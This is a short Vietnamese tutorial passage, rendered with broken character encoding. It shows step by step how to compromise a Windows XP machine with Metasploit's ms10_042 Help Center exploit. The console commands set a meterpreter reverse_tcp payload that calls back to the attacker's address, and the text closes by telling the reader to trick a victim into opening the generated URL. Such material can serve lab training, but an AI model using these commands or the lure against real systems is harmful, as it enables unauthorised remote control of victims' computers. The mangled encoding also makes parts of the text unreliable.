14. Xâm nháºp và khai thác
Windows XP
• Thực hiện
Mở Metasploit trên Backtrack 5 bằng lệnh: msfconsole
Từ dấu nhắc sỠdụng lệnh: msf > search ms10_042
Copy Ä‘Æ°á»ng dẫn, enter gõ use “dán Ä‘Æ°á»ng dẫn và oâ€
Gõ show options để thấy các options của lệnh.
msf exploit(ms10_042_helpctr_xss_cmd_exec) > show options
16. Lần lượt gõ các lệnh sau:
msf exploit(ms10_042_helpctr_xss_cmd_exec) > set SRVHOST 192.168.132.137
msf exploit(ms10_042_helpctr_xss_cmd_exec) > set PAYLOAD
windows/meterpreter/reverse_tcp
msf exploit(ms10_042_helpctr_xss_cmd_exec) > set LHOST 192.168.132.137
msf exploit(ms10_042_helpctr_xss_cmd_exec) > exploit
17. • Sau khi gõ lệnh exploit để khai thác lỗi ta sẽ
thấy chương trình đưa ra cho ta 1 URL
website, lúc nà y chỉ cần dụ nạn nhân nháºp và o
URL nà y, ta sẽ tấn công được máy nạn nhân. Ở
đây URL lÃ
http://192.168.132.137:80/